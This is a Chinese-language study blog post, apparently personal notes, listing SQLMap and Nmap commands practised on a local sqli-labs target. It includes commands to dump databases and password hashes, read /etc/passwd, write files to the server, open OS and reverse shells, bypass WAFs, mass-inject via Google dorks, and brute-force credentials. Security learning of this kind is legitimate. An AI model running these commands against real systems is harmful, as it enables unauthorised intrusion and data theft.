子曰:温故而知新,可以为师矣 。

这几个月一直高强度的学习安全,为了追求速度,感觉自己技术不够扎实,打算把自己学的东西重新分批整理一下。

1.SQLMap

我使用的是kali中自带的SQLMap,我的博客中也提到了安装kali的方法,可以自行阅读。

我们这里使用的靶场就用本机的sql-labs第一关吧。

1.判断是否存在注入

-batch 默认跳过

sqlmap -u http://192.168.0.108/sqli/Less-1/?id=1 -batch

当注入点后面的参数大于等于两个时 要加双引号

sqlmap -u http://192.168.0.108/sqli/Less-1/?id=1&uid=2"

SQLMap可以从一个文本文件中获取HTTP请求,就可以不用设置其他参数,如cookie、post,可以用burpsuite抓包,生成txt文件,如文件为1.txt,那么命令为

sqlmap -r desktop/1.txt

2.查询当前用户下的所有数据库

qlmap -u http://192.168.0.108/sqli/Less-1/?id=1 -dbs

3.获取数据库中的表名

如获取security数据库中的表名

qlmap -u http://192.168.0.108/sqli/Less-1/?id=1 -D security -tables

4.获取表中的字段名

sqlmap -u http://192.168.0.108/sqli/Less-1/?id=1 -D security -T users -columns

5.获取字段内容

sqlmap -u http://192.168.0.108/sqli/Less-1/?id=1 -D security -T users -C username,password -dump

7.获取数据库的所有用户

sqlmap -u http://192.168.0.108/sqli/Less-1/?id=1 -users

8.获取数据库用户的密码

qlmap -u "http://192.168.0.108/sqli/Less-1/?id=1" -passwords

密码进行了加密,可以去www.cmd5.com进行解密

9.获取当前数据库的名称

sqlmap -u "http://192.168.0.108/sqli/Less-1/?id=1" -current-db

10.获取当前网站数据库的用户名称

sqlmap -u "http://192.168.0.108/sqli/Less-1/?id=1" -current-user

进阶-参数详解

sqlmap -u "http://192.168.0.108/sqli/Less-1/?id=1" --file-write=/root/桌面/1.txt --file-dest=D:/test  #上传指定文件到目标机路径
sqlmap -u "http://url/news?id=1" --privileges #查看权限
sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员  -v 1 输出级别为1
sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie 注入
sqlmap -u "http://url/news?id=1" -b #获取 banner 信息
sqlmap -u "http://url/news?id=1" --data "id=3" #post 注入
sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1" --sql-shell #执行指定 sql 命令
sqlmap -u "http://url/news?id=1" --file /etc/passwd  #读取文件
sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=本地文件路径 --file-dest 网站路径(写入路径)/写入的文件名   
sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell #系统交互 shell
sqlmap -u "http://url/news?id=1" --os-pwn #反弹 shell
sqlmap -u "http://url/news?id=1" --reg-read #读取 win 系统注册表
sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度
sqlmap -u "http://url/news?id=1" --msf-path=/opt/metasploit3/msf2 --os-pwn 反弹 shell 需
metasploit 路径
sqlmap -u "http://url/news?id=1" --tamper "base64encode.py" 加载脚本(可利用绕过注入限制)
sqlmap -g "google 语法" --dump-all --batch #google 搜索注入点自动 跑出所有字段
攻击实例:
sqlmap -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

SQLMap自带绕过脚本tamper讲解

sqlmap默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,还可以使用--tamper参数对数据做修改,绕过WAF等设备。

命令如下

sqlmap.py 网址  --tamper "模块名"

我们还是使用sqli-labs进行测试

官方提供的脚本,kali系统在/usr/share/sqlmap/tamper/文件夹下,我们选base64encode.py来进行测试,把语句替换为base64编码。

如下列语句

sqlmap -u http://10.21.184.50/sqli/Less-1/?id=1 --current-db --tamper "base64encode.py"

下面附上sqlmap学习视频

链接:https://pan.baidu.com/s/1SNoROTv1v2suwn7QBycjCQ
提取码:vmj0
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V1的分享

2.Nmap详解

Nmap的特点如下:

主机探测:探测网络上的主机,如列出相应TCP和ICMP请求、开放特别端口的主机

端口扫描:探测目标主机所开放的端口

版本检测:探测目标主机的网络服务,判断其服务名称及版本号

系统检测:探测目标主机的操作系统以及网络设备的硬件特性。

支持探测脚本的编写:使用nmap的脚本引擎和Lua编程语言。

Nmap命令详解

https://www.cnblogs.com/machangwei-8/p/10353004.html

Nmap参数命令大全 http://blog.sina.com.cn/s/blog_13afdb2130102x4gu.html

1.扫描单个地址

nmap 10.21.184.50

2.扫描多个地址

如果目标地址不在同一网段,或同一网段且不连续数量不多,可以使用该方法。

nmap 192.168.0.100 192.168.0.105

3.扫描一个范围内的目标地址

一个连续的网段,中间使用“-”连接,如:

nmap 192.168.88.120-130
file:///root/%E5%9B%BE%E7%89%87/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202021-03-29%2016:19:8.png

可以发现有192.168.88.128主机存活

4.扫描目标地址所在的某个网段

以C段为例,如果目标是一个网段,可以通过添加子网掩码的方式进行扫描,下列命令表示范围为192.168.88.1-192.168.88.255

nmap 192.168.88.100/24

可以发现扫描了256个ip,发现了192.168.88.128主机。

5.扫描除某一个目标地址外的所有目标地址

nmap 192.168.88.100/24 -exclude 192.168.88.1

这条命令就表示扫描除了192.168.88.1之外的192.168.88.x地址。

6.扫描除某一文件中的目标地址之外的地址

如1.txt文件中有 192.168.88.1 192.168.88.255 192.168.88.254 192.168.88.132

nmap 192.168.88.100/24 -excludefile /root/桌面/1.txt

可以看到只扫描了252个

7.其他常用命令

不想扫描他的所有端口,可以使用-p命令指定端口号
--traceroute 192.168.88.128 路由跟踪
-sP 在线情况 -sV服务版本检测 -sF -T4防火墙状态
-O指纹识别(操作系统)

8.状态识别

状 态 含 义
open 开放的,表示应用程序正在监听该端口的链接,外部可以访问
filtered被过滤的,表示端口被防火墙或其他设备阻止,不能访问
closed关闭
unfilterred未被过滤的,nmap无法确定,需要进一步探测
oppen/filtered 开放或者被过滤,不能确定
closed/filtered 关闭或者被过滤,不能确定

3.Nmap进阶——脚本使用

1.鉴权扫描

使用--script=auth可以对目标主机或目标主机在的网段进行若口令扫描检测。

nmap --script=auth 192.168.88.128

2.暴力破解攻击

可对数据库、SMB、SNMP等进行简单密码的暴力破解

nmap --script=brute 192.168.88.129

3.扫描常见的漏洞

nmap -script=vuln 192.168.88.128

4.whois解析

nmap -script external baidu.com

nmap脚本使用指南

https://www.freebuf.com/column/149716.html

https://zhuanlan.zhihu.com/p/26618074

https://blog.csdn.net/yalecaltech/article/details/103713695


如果你停止 就是低谷 如果你还在继续 就是上坡